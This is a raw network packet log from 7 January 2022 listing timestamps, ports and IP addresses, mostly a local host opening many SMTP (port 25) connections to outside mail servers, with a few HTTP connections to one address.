Jan 7, 2022 15:54:45.736984968 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.736993074 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.737092018 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.737103939 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.737117052 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.737123966 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.737158060 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.737171888 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.737185955 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.737195969 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.737437963 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.737456083 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.737468958 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.737481117 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.737490892 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.737502098 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.737512112 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.737524033 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.737535000 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.737545013 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.737555981 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.737566948 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.737576962 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.737586975 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.737610102 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.739026070 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.739043951 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.739052057 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.739281893 CET	49820	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:45.739308119 CET	49820	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:45.766618013 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.770761967 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.830151081 CET	25	49820	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:45.830248117 CET	49820	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:46.266434908 CET	49822	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:54:46.454767942 CET	25	49822	148.163.149.218	192.168.2.3
Jan 7, 2022 15:54:46.454876900 CET	49822	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:54:46.666945934 CET	25	49822	148.163.149.218	192.168.2.3
Jan 7, 2022 15:54:46.668817043 CET	49822	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:54:46.857578993 CET	25	49822	148.163.149.218	192.168.2.3
Jan 7, 2022 15:54:46.861694098 CET	25	49822	148.163.149.218	192.168.2.3
Jan 7, 2022 15:54:46.864818096 CET	49822	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:54:46.994478941 CET	49818	80	192.168.2.3	193.166.255.171
Jan 7, 2022 15:54:47.057106972 CET	25	49822	148.163.149.218	192.168.2.3
Jan 7, 2022 15:54:47.057332993 CET	49822	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:54:47.250127077 CET	25	49822	148.163.149.218	192.168.2.3
Jan 7, 2022 15:54:47.255968094 CET	49822	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:54:47.458118916 CET	25	49822	148.163.149.218	192.168.2.3
Jan 7, 2022 15:54:47.461453915 CET	49822	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:54:47.461986065 CET	49822	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:54:47.651282072 CET	25	49822	148.163.149.218	192.168.2.3
Jan 7, 2022 15:54:47.651305914 CET	25	49822	148.163.149.218	192.168.2.3
Jan 7, 2022 15:54:47.651314974 CET	25	49822	148.163.149.218	192.168.2.3
Jan 7, 2022 15:54:47.651529074 CET	49822	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:54:47.693280935 CET	25	49822	148.163.149.218	192.168.2.3
Jan 7, 2022 15:54:47.693365097 CET	49822	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:54:47.840116024 CET	25	49822	148.163.149.218	192.168.2.3
Jan 7, 2022 15:54:47.840333939 CET	49822	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:54:47.881880999 CET	25	49822	148.163.149.218	192.168.2.3
Jan 7, 2022 15:54:47.882028103 CET	49822	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:54:48.028985977 CET	25	49822	148.163.149.218	192.168.2.3
Jan 7, 2022 15:54:48.029233932 CET	49822	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:54:48.029267073 CET	25	49822	148.163.149.218	192.168.2.3
Jan 7, 2022 15:54:48.029413939 CET	49822	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:54:48.070547104 CET	25	49822	148.163.149.218	192.168.2.3
Jan 7, 2022 15:54:48.070699930 CET	49822	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:54:48.182116032 CET	49819	25	192.168.2.3	193.239.71.113
Jan 7, 2022 15:54:48.217978954 CET	25	49822	148.163.149.218	192.168.2.3
Jan 7, 2022 15:54:48.218206882 CET	49822	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:54:48.218231916 CET	25	49822	148.163.149.218	192.168.2.3
Jan 7, 2022 15:54:48.218369961 CET	49822	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:54:48.259037018 CET	25	49822	148.163.149.218	192.168.2.3
Jan 7, 2022 15:54:48.259135962 CET	25	49822	148.163.149.218	192.168.2.3
Jan 7, 2022 15:54:48.259211063 CET	49822	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:54:48.259287119 CET	49822	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:54:48.291430950 CET	49821	25	192.168.2.3	193.239.71.112
Jan 7, 2022 15:54:48.406635046 CET	25	49822	148.163.149.218	192.168.2.3
Jan 7, 2022 15:54:48.406661987 CET	25	49822	148.163.149.218	192.168.2.3
Jan 7, 2022 15:54:48.406893015 CET	49822	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:54:48.407073021 CET	25	49822	148.163.149.218	192.168.2.3
Jan 7, 2022 15:54:48.407282114 CET	49822	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:54:48.410093069 CET	25	49822	148.163.149.218	192.168.2.3
Jan 7, 2022 15:54:48.410298109 CET	49822	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:54:48.448334932 CET	25	49822	148.163.149.218	192.168.2.3
Jan 7, 2022 15:54:48.448486090 CET	49822	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:54:48.448844910 CET	25	49822	148.163.149.218	192.168.2.3
Jan 7, 2022 15:54:48.449002981 CET	49822	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:54:48.597105980 CET	25	49822	148.163.149.218	192.168.2.3
Jan 7, 2022 15:54:48.597145081 CET	25	49822	148.163.149.218	192.168.2.3
Jan 7, 2022 15:54:48.597310066 CET	49822	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:54:48.597371101 CET	49822	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:54:48.597563028 CET	25	49822	148.163.149.218	192.168.2.3
Jan 7, 2022 15:54:48.597588062 CET	25	49822	148.163.149.218	192.168.2.3
Jan 7, 2022 15:54:48.597732067 CET	49822	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:54:48.598171949 CET	25	49822	148.163.149.218	192.168.2.3
Jan 7, 2022 15:54:48.598305941 CET	49822	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:54:48.598951101 CET	25	49822	148.163.149.218	192.168.2.3
Jan 7, 2022 15:54:48.598969936 CET	25	49822	148.163.149.218	192.168.2.3
Jan 7, 2022 15:54:48.599075079 CET	49822	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:54:48.599257946 CET	25	49822	148.163.149.218	192.168.2.3
Jan 7, 2022 15:54:48.599428892 CET	49822	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:54:48.599520922 CET	25	49822	148.163.149.218	192.168.2.3
Jan 7, 2022 15:54:48.599641085 CET	49822	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:54:48.600478888 CET	25	49822	148.163.149.218	192.168.2.3
Jan 7, 2022 15:54:48.600622892 CET	49822	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:54:48.601067066 CET	25	49822	148.163.149.218	192.168.2.3
Jan 7, 2022 15:54:48.601182938 CET	49822	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:54:48.601535082 CET	25	49822	148.163.149.218	192.168.2.3
Jan 7, 2022 15:54:48.601682901 CET	49822	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:54:48.639379025 CET	25	49822	148.163.149.218	192.168.2.3
Jan 7, 2022 15:54:48.639489889 CET	49822	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:54:48.639744043 CET	25	49822	148.163.149.218	192.168.2.3
Jan 7, 2022 15:54:48.639803886 CET	25	49822	148.163.149.218	192.168.2.3
Jan 7, 2022 15:54:48.639872074 CET	49822	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:54:48.639940977 CET	49822	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:54:48.640669107 CET	25	49822	148.163.149.218	192.168.2.3
Jan 7, 2022 15:54:48.640825987 CET	49822	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:54:48.785476923 CET	25	49822	148.163.149.218	192.168.2.3
Jan 7, 2022 15:54:48.785556078 CET	49822	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:54:48.790070057 CET	25	49822	148.163.149.218	192.168.2.3
Jan 7, 2022 15:54:48.790132999 CET	25	49822	148.163.149.218	192.168.2.3
Jan 7, 2022 15:54:48.790149927 CET	25	49822	148.163.149.218	192.168.2.3
Jan 7, 2022 15:54:48.790162086 CET	25	49822	148.163.149.218	192.168.2.3
Jan 7, 2022 15:54:48.790189028 CET	25	49822	148.163.149.218	192.168.2.3
Jan 7, 2022 15:54:48.790199995 CET	25	49822	148.163.149.218	192.168.2.3
Jan 7, 2022 15:54:48.790267944 CET	49822	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:54:48.790369034 CET	49822	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:54:48.790415049 CET	25	49822	148.163.149.218	192.168.2.3
Jan 7, 2022 15:54:48.830414057 CET	25	49822	148.163.149.218	192.168.2.3
Jan 7, 2022 15:54:48.830437899 CET	25	49822	148.163.149.218	192.168.2.3
Jan 7, 2022 15:54:48.830543995 CET	25	49822	148.163.149.218	192.168.2.3
Jan 7, 2022 15:54:48.830557108 CET	25	49822	148.163.149.218	192.168.2.3
Jan 7, 2022 15:54:48.830569029 CET	25	49822	148.163.149.218	192.168.2.3
Jan 7, 2022 15:54:48.830581903 CET	25	49822	148.163.149.218	192.168.2.3
Jan 7, 2022 15:54:48.830595016 CET	25	49822	148.163.149.218	192.168.2.3
Jan 7, 2022 15:54:48.975796938 CET	25	49822	148.163.149.218	192.168.2.3
Jan 7, 2022 15:54:48.980283976 CET	25	49822	148.163.149.218	192.168.2.3
Jan 7, 2022 15:54:48.980302095 CET	25	49822	148.163.149.218	192.168.2.3
Jan 7, 2022 15:54:48.981079102 CET	25	49822	148.163.149.218	192.168.2.3
Jan 7, 2022 15:54:48.981136084 CET	25	49822	148.163.149.218	192.168.2.3
Jan 7, 2022 15:54:48.982995033 CET	25	49822	148.163.149.218	192.168.2.3
Jan 7, 2022 15:54:48.983009100 CET	25	49822	148.163.149.218	192.168.2.3
Jan 7, 2022 15:54:48.983019114 CET	25	49822	148.163.149.218	192.168.2.3
Jan 7, 2022 15:54:48.983218908 CET	49822	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:54:48.983244896 CET	49822	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:54:48.995003939 CET	49823	25	192.168.2.3	193.239.68.121
Jan 7, 2022 15:54:49.039618969 CET	25	49823	193.239.68.121	192.168.2.3
Jan 7, 2022 15:54:49.039809942 CET	49823	25	192.168.2.3	193.239.68.121
Jan 7, 2022 15:54:49.087291956 CET	25	49823	193.239.68.121	192.168.2.3
Jan 7, 2022 15:54:49.087414026 CET	49823	25	192.168.2.3	193.239.68.121
Jan 7, 2022 15:54:49.132406950 CET	25	49823	193.239.68.121	192.168.2.3
Jan 7, 2022 15:54:49.132540941 CET	49823	25	192.168.2.3	193.239.68.121
Jan 7, 2022 15:54:49.172542095 CET	25	49822	148.163.149.218	192.168.2.3
Jan 7, 2022 15:54:49.172722101 CET	25	49822	148.163.149.218	192.168.2.3
Jan 7, 2022 15:54:49.172833920 CET	49822	25	192.168.2.3	148.163.149.218
Jan 7, 2022 15:54:49.178498030 CET	25	49823	193.239.68.121	192.168.2.3
Jan 7, 2022 15:54:49.178643942 CET	49823	25	192.168.2.3	193.239.68.121
Jan 7, 2022 15:54:49.226875067 CET	25	49823	193.239.68.121	192.168.2.3
Jan 7, 2022 15:54:49.227195978 CET	49823	25	192.168.2.3	193.239.68.121
Jan 7, 2022 15:54:49.227758884 CET	49823	25	192.168.2.3	193.239.68.121
Jan 7, 2022 15:54:49.227775097 CET	49824	25	192.168.2.3	193.239.68.121
Jan 7, 2022 15:54:49.271454096 CET	25	49824	193.239.68.121	192.168.2.3
Jan 7, 2022 15:54:49.271569967 CET	49824	25	192.168.2.3	193.239.68.121
Jan 7, 2022 15:54:49.273744106 CET	25	49823	193.239.68.121	192.168.2.3
Jan 7, 2022 15:54:49.273873091 CET	49823	25	192.168.2.3	193.239.68.121
Jan 7, 2022 15:54:49.274009943 CET	25	49823	193.239.68.121	192.168.2.3
Jan 7, 2022 15:54:49.274084091 CET	49823	25	192.168.2.3	193.239.68.121
Jan 7, 2022 15:54:49.274132013 CET	25	49823	193.239.68.121	192.168.2.3
Jan 7, 2022 15:54:49.274183035 CET	49823	25	192.168.2.3	193.239.68.121
Jan 7, 2022 15:54:49.316416025 CET	25	49824	193.239.68.121	192.168.2.3
Jan 7, 2022 15:54:49.316553116 CET	49824	25	192.168.2.3	193.239.68.121
Jan 7, 2022 15:54:49.358778000 CET	25	49824	193.239.68.121	192.168.2.3
Jan 7, 2022 15:54:49.358937025 CET	49824	25	192.168.2.3	193.239.68.121
Jan 7, 2022 15:54:49.401720047 CET	25	49824	193.239.68.121	192.168.2.3
Jan 7, 2022 15:54:49.401849985 CET	49824	25	192.168.2.3	193.239.68.121
Jan 7, 2022 15:54:49.445664883 CET	25	49824	193.239.68.121	192.168.2.3
Jan 7, 2022 15:54:49.445848942 CET	49824	25	192.168.2.3	193.239.68.121
Jan 7, 2022 15:54:49.446943045 CET	49824	25	192.168.2.3	193.239.68.121
Jan 7, 2022 15:54:49.488266945 CET	25	49824	193.239.68.121	192.168.2.3
Jan 7, 2022 15:54:49.488420963 CET	49824	25	192.168.2.3	193.239.68.121
Jan 7, 2022 15:54:49.488583088 CET	25	49824	193.239.68.121	192.168.2.3
Jan 7, 2022 15:54:49.488656044 CET	49824	25	192.168.2.3	193.239.68.121
Jan 7, 2022 15:54:49.488789082 CET	25	49824	193.239.68.121	192.168.2.3
Jan 7, 2022 15:54:49.489000082 CET	49824	25	192.168.2.3	193.239.68.121
Jan 7, 2022 15:54:49.778264999 CET	49826	25	192.168.2.3	194.152.32.72
Jan 7, 2022 15:54:49.821629047 CET	25	49826	194.152.32.72	192.168.2.3
Jan 7, 2022 15:54:49.821861982 CET	49826	25	192.168.2.3	194.152.32.72
Jan 7, 2022 15:54:49.864651918 CET	25	49826	194.152.32.72	192.168.2.3
Jan 7, 2022 15:54:49.864823103 CET	49826	25	192.168.2.3	194.152.32.72
Jan 7, 2022 15:54:49.906936884 CET	25	49826	194.152.32.72	192.168.2.3
Jan 7, 2022 15:54:49.906976938 CET	25	49826	194.152.32.72	192.168.2.3
Jan 7, 2022 15:54:49.908173084 CET	49826	25	192.168.2.3	194.152.32.72
Jan 7, 2022 15:54:49.950299978 CET	25	49826	194.152.32.72	192.168.2.3
Jan 7, 2022 15:54:49.950320959 CET	25	49826	194.152.32.72	192.168.2.3
Jan 7, 2022 15:54:49.950512886 CET	49826	25	192.168.2.3	194.152.32.72
Jan 7, 2022 15:54:49.992116928 CET	25	49826	194.152.32.72	192.168.2.3
Jan 7, 2022 15:54:49.992449045 CET	25	49826	194.152.32.72	192.168.2.3
Jan 7, 2022 15:54:49.992666006 CET	49826	25	192.168.2.3	194.152.32.72
Jan 7, 2022 15:54:49.992887974 CET	49826	25	192.168.2.3	194.152.32.72
Jan 7, 2022 15:54:49.993185043 CET	49828	25	192.168.2.3	194.152.32.73
Jan 7, 2022 15:54:50.035171032 CET	25	49826	194.152.32.72	192.168.2.3
Jan 7, 2022 15:54:50.035187960 CET	25	49826	194.152.32.72	192.168.2.3
Jan 7, 2022 15:54:50.035204887 CET	25	49828	194.152.32.73	192.168.2.3
Jan 7, 2022 15:54:50.035305977 CET	49826	25	192.168.2.3	194.152.32.72
Jan 7, 2022 15:54:50.035379887 CET	49826	25	192.168.2.3	194.152.32.72
Jan 7, 2022 15:54:50.035382986 CET	49828	25	192.168.2.3	194.152.32.73
Jan 7, 2022 15:54:50.077218056 CET	25	49828	194.152.32.73	192.168.2.3
Jan 7, 2022 15:54:50.077445984 CET	49828	25	192.168.2.3	194.152.32.73
Jan 7, 2022 15:54:50.120172024 CET	25	49828	194.152.32.73	192.168.2.3
Jan 7, 2022 15:54:50.120204926 CET	25	49828	194.152.32.73	192.168.2.3
Jan 7, 2022 15:54:50.120398045 CET	49828	25	192.168.2.3	194.152.32.73
Jan 7, 2022 15:54:50.163599968 CET	25	49828	194.152.32.73	192.168.2.3
Jan 7, 2022 15:54:50.163628101 CET	25	49828	194.152.32.73	192.168.2.3
Jan 7, 2022 15:54:50.163772106 CET	49828	25	192.168.2.3	194.152.32.73
Jan 7, 2022 15:54:50.205385923 CET	25	49828	194.152.32.73	192.168.2.3
Jan 7, 2022 15:54:50.205400944 CET	25	49828	194.152.32.73	192.168.2.3
Jan 7, 2022 15:54:50.205573082 CET	49828	25	192.168.2.3	194.152.32.73
Jan 7, 2022 15:54:50.205600977 CET	49828	25	192.168.2.3	194.152.32.73
Jan 7, 2022 15:54:50.249010086 CET	25	49828	194.152.32.73	192.168.2.3
Jan 7, 2022 15:54:50.249044895 CET	25	49828	194.152.32.73	192.168.2.3
Jan 7, 2022 15:54:50.249186039 CET	49828	25	192.168.2.3	194.152.32.73
Jan 7, 2022 15:54:50.249304056 CET	49828	25	192.168.2.3	194.152.32.73
Jan 7, 2022 15:54:50.678776026 CET	49829	25	192.168.2.3	104.47.18.225
Jan 7, 2022 15:54:50.708069086 CET	25	49829	104.47.18.225	192.168.2.3
Jan 7, 2022 15:54:50.708195925 CET	49829	25	192.168.2.3	104.47.18.225
Jan 7, 2022 15:54:50.737867117 CET	25	49829	104.47.18.225	192.168.2.3
Jan 7, 2022 15:54:50.737984896 CET	49829	25	192.168.2.3	104.47.18.225
Jan 7, 2022 15:54:50.765635967 CET	25	49829	104.47.18.225	192.168.2.3
Jan 7, 2022 15:54:50.765652895 CET	25	49829	104.47.18.225	192.168.2.3
Jan 7, 2022 15:54:50.765790939 CET	49829	25	192.168.2.3	104.47.18.225
Jan 7, 2022 15:54:50.793958902 CET	25	49829	104.47.18.225	192.168.2.3
Jan 7, 2022 15:54:50.793984890 CET	25	49829	104.47.18.225	192.168.2.3
Jan 7, 2022 15:54:50.794195890 CET	49829	25	192.168.2.3	104.47.18.225
Jan 7, 2022 15:54:50.794244051 CET	49829	25	192.168.2.3	104.47.18.225
Jan 7, 2022 15:54:50.794945002 CET	25	49829	104.47.18.225	192.168.2.3
Jan 7, 2022 15:54:50.795054913 CET	49829	25	192.168.2.3	104.47.18.225
Jan 7, 2022 15:54:50.822467089 CET	25	49829	104.47.18.225	192.168.2.3
Jan 7, 2022 15:54:50.822511911 CET	25	49829	104.47.18.225	192.168.2.3
Jan 7, 2022 15:54:50.822540045 CET	25	49829	104.47.18.225	192.168.2.3
Jan 7, 2022 15:54:52.607491016 CET	49830	80	192.168.2.3	193.166.255.171
Jan 7, 2022 15:54:52.811314106 CET	49831	25	192.168.2.3	104.47.70.33
Jan 7, 2022 15:54:52.914961100 CET	25	49831	104.47.70.33	192.168.2.3
Jan 7, 2022 15:54:52.915066004 CET	49831	25	192.168.2.3	104.47.70.33
Jan 7, 2022 15:54:53.020879984 CET	25	49831	104.47.70.33	192.168.2.3
Jan 7, 2022 15:54:53.021023035 CET	49831	25	192.168.2.3	104.47.70.33
Jan 7, 2022 15:54:53.124015093 CET	25	49831	104.47.70.33	192.168.2.3
Jan 7, 2022 15:54:53.124288082 CET	25	49831	104.47.70.33	192.168.2.3
Jan 7, 2022 15:54:53.125235081 CET	49831	25	192.168.2.3	104.47.70.33
Jan 7, 2022 15:54:53.228466034 CET	25	49831	104.47.70.33	192.168.2.3
Jan 7, 2022 15:54:53.229455948 CET	25	49831	104.47.70.33	192.168.2.3
Jan 7, 2022 15:54:53.229583025 CET	25	49831	104.47.70.33	192.168.2.3
Jan 7, 2022 15:54:53.230547905 CET	49831	25	192.168.2.3	104.47.70.33
Jan 7, 2022 15:54:53.230567932 CET	49831	25	192.168.2.3	104.47.70.33
Jan 7, 2022 15:54:53.230576038 CET	49831	25	192.168.2.3	104.47.70.33
Jan 7, 2022 15:54:53.333456993 CET	25	49831	104.47.70.33	192.168.2.3
Jan 7, 2022 15:54:53.333483934 CET	25	49831	104.47.70.33	192.168.2.3
Jan 7, 2022 15:54:54.182601929 CET	49819	25	192.168.2.3	193.239.71.113
Jan 7, 2022 15:54:54.292032003 CET	49821	25	192.168.2.3	193.239.71.112
Jan 7, 2022 15:54:54.323807955 CET	49832	25	192.168.2.3	193.239.71.113
Jan 7, 2022 15:54:54.936383963 CET	49833	25	192.168.2.3	104.47.22.161
Jan 7, 2022 15:54:54.981573105 CET	25	49833	104.47.22.161	192.168.2.3
Jan 7, 2022 15:54:54.982011080 CET	49833	25	192.168.2.3	104.47.22.161
Jan 7, 2022 15:54:55.030370951 CET	25	49833	104.47.22.161	192.168.2.3
Jan 7, 2022 15:54:55.030503988 CET	49833	25	192.168.2.3	104.47.22.161
Jan 7, 2022 15:54:55.076548100 CET	25	49833	104.47.22.161	192.168.2.3
Jan 7, 2022 15:54:55.076592922 CET	25	49833	104.47.22.161	192.168.2.3
Jan 7, 2022 15:54:55.076733112 CET	49833	25	192.168.2.3	104.47.22.161
Jan 7, 2022 15:54:55.122581959 CET	25	49833	104.47.22.161	192.168.2.3
Jan 7, 2022 15:54:55.122713089 CET	25	49833	104.47.22.161	192.168.2.3
Jan 7, 2022 15:54:55.122795105 CET	49833	25	192.168.2.3	104.47.22.161
Jan 7, 2022 15:54:55.122833014 CET	49833	25	192.168.2.3	104.47.22.161
Jan 7, 2022 15:54:55.123302937 CET	25	49833	104.47.22.161	192.168.2.3
Jan 7, 2022 15:54:55.123356104 CET	49833	25	192.168.2.3	104.47.22.161
Jan 7, 2022 15:54:55.167769909 CET	25	49833	104.47.22.161	192.168.2.3
Jan 7, 2022 15:54:55.167784929 CET	25	49833	104.47.22.161	192.168.2.3
Jan 7, 2022 15:54:55.167793036 CET	25	49833	104.47.22.161	192.168.2.3
Jan 7, 2022 15:54:55.620210886 CET	49830	80	192.168.2.3	193.166.255.171
Jan 7, 2022 15:54:56.407145977 CET	49834	25	192.168.2.3	104.47.58.161
Jan 7, 2022 15:54:56.509596109 CET	25	49834	104.47.58.161	192.168.2.3
Jan 7, 2022 15:54:56.509712934 CET	49834	25	192.168.2.3	104.47.58.161
Jan 7, 2022 15:54:56.613389969 CET	25	49834	104.47.58.161	192.168.2.3
Jan 7, 2022 15:54:56.613655090 CET	49834	25	192.168.2.3	104.47.58.161
Jan 7, 2022 15:54:56.716176987 CET	25	49834	104.47.58.161	192.168.2.3
Jan 7, 2022 15:54:56.716571093 CET	25	49834	104.47.58.161	192.168.2.3
Jan 7, 2022 15:54:56.716706038 CET	49834	25	192.168.2.3	104.47.58.161
Jan 7, 2022 15:54:56.819384098 CET	25	49834	104.47.58.161	192.168.2.3
Jan 7, 2022 15:54:56.820375919 CET	25	49834	104.47.58.161	192.168.2.3
Jan 7, 2022 15:54:56.820547104 CET	49834	25	192.168.2.3	104.47.58.161
Jan 7, 2022 15:54:56.820566893 CET	25	49834	104.47.58.161	192.168.2.3
Jan 7, 2022 15:54:56.820583105 CET	49834	25	192.168.2.3	104.47.58.161
Jan 7, 2022 15:54:56.820679903 CET	49834	25	192.168.2.3	104.47.58.161
Jan 7, 2022 15:54:56.922972918 CET	25	49834	104.47.58.161	192.168.2.3
Jan 7, 2022 15:54:56.922997952 CET	25	49834	104.47.58.161	192.168.2.3
Jan 7, 2022 15:54:56.923028946 CET	25	49834	104.47.58.161	192.168.2.3
Jan 7, 2022 15:54:57.323499918 CET	49832	25	192.168.2.3	193.239.71.113
Jan 7, 2022 15:54:58.191395044 CET	49835	25	192.168.2.3	104.47.58.33
Jan 7, 2022 15:54:58.322575092 CET	25	49835	104.47.58.33	192.168.2.3
Jan 7, 2022 15:54:58.322679043 CET	49835	25	192.168.2.3	104.47.58.33
Jan 7, 2022 15:54:58.372497082 CET	49836	25	192.168.2.3	104.47.70.33
Jan 7, 2022 15:54:58.454730034 CET	25	49835	104.47.58.33	192.168.2.3
Jan 7, 2022 15:54:58.454911947 CET	49835	25	192.168.2.3	104.47.58.33
Jan 7, 2022 15:54:58.474968910 CET	25	49836	104.47.70.33	192.168.2.3
Jan 7, 2022 15:54:58.475089073 CET	49836	25	192.168.2.3	104.47.70.33
Jan 7, 2022 15:54:58.582149029 CET	25	49836	104.47.70.33	192.168.2.3
Jan 7, 2022 15:54:58.585601091 CET	49836	25	192.168.2.3	104.47.70.33
Jan 7, 2022 15:54:58.589106083 CET	25	49835	104.47.58.33	192.168.2.3
Jan 7, 2022 15:54:58.589804888 CET	25	49835	104.47.58.33	192.168.2.3
Jan 7, 2022 15:54:58.589950085 CET	49835	25	192.168.2.3	104.47.58.33
Jan 7, 2022 15:54:58.688406944 CET	25	49836	104.47.70.33	192.168.2.3
Jan 7, 2022 15:54:58.688429117 CET	25	49836	104.47.70.33	192.168.2.3
Jan 7, 2022 15:54:58.688693047 CET	49836	25	192.168.2.3	104.47.70.33
Jan 7, 2022 15:54:58.721003056 CET	25	49835	104.47.58.33	192.168.2.3
Jan 7, 2022 15:54:58.724718094 CET	25	49835	104.47.58.33	192.168.2.3
Jan 7, 2022 15:54:58.724745989 CET	25	49835	104.47.58.33	192.168.2.3
Jan 7, 2022 15:54:58.724811077 CET	49835	25	192.168.2.3	104.47.58.33
Jan 7, 2022 15:54:58.724961996 CET	49835	25	192.168.2.3	104.47.58.33
Jan 7, 2022 15:54:58.724970102 CET	49835	25	192.168.2.3	104.47.58.33
Jan 7, 2022 15:54:58.791241884 CET	25	49836	104.47.70.33	192.168.2.3
Jan 7, 2022 15:54:58.792304993 CET	25	49836	104.47.70.33	192.168.2.3
Jan 7, 2022 15:54:58.792321920 CET	25	49836	104.47.70.33	192.168.2.3
Jan 7, 2022 15:54:58.792401075 CET	49836	25	192.168.2.3	104.47.70.33
Jan 7, 2022 15:54:58.792577028 CET	49836	25	192.168.2.3	104.47.70.33
Jan 7, 2022 15:54:58.792597055 CET	49836	25	192.168.2.3	104.47.70.33
Jan 7, 2022 15:54:58.855902910 CET	25	49835	104.47.58.33	192.168.2.3
Jan 7, 2022 15:54:58.855941057 CET	25	49835	104.47.58.33	192.168.2.3
Jan 7, 2022 15:54:58.895150900 CET	25	49836	104.47.70.33	192.168.2.3
Jan 7, 2022 15:54:58.895175934 CET	25	49836	104.47.70.33	192.168.2.3
Jan 7, 2022 15:54:58.982970953 CET	49837	25	192.168.2.3	104.47.59.161
Jan 7, 2022 15:54:59.107695103 CET	49838	80	192.168.2.3	193.166.255.171
Jan 7, 2022 15:54:59.114792109 CET	25	49837	104.47.59.161	192.168.2.3
Jan 7, 2022 15:54:59.118777990 CET	49837	25	192.168.2.3	104.47.59.161
Jan 7, 2022 15:54:59.253604889 CET	25	49837	104.47.59.161	192.168.2.3
Jan 7, 2022 15:54:59.253750086 CET	49837	25	192.168.2.3	104.47.59.161
Jan 7, 2022 15:54:59.385114908 CET	25	49837	104.47.59.161	192.168.2.3
Jan 7, 2022 15:54:59.387768984 CET	25	49837	104.47.59.161	192.168.2.3
Jan 7, 2022 15:54:59.388566971 CET	49837	25	192.168.2.3	104.47.59.161
Jan 7, 2022 15:54:59.519479036 CET	25	49837	104.47.59.161	192.168.2.3
Jan 7, 2022 15:54:59.520639896 CET	25	49837	104.47.59.161	192.168.2.3
Jan 7, 2022 15:54:59.520754099 CET	49837	25	192.168.2.3	104.47.59.161
Jan 7, 2022 15:54:59.520783901 CET	49837	25	192.168.2.3	104.47.59.161
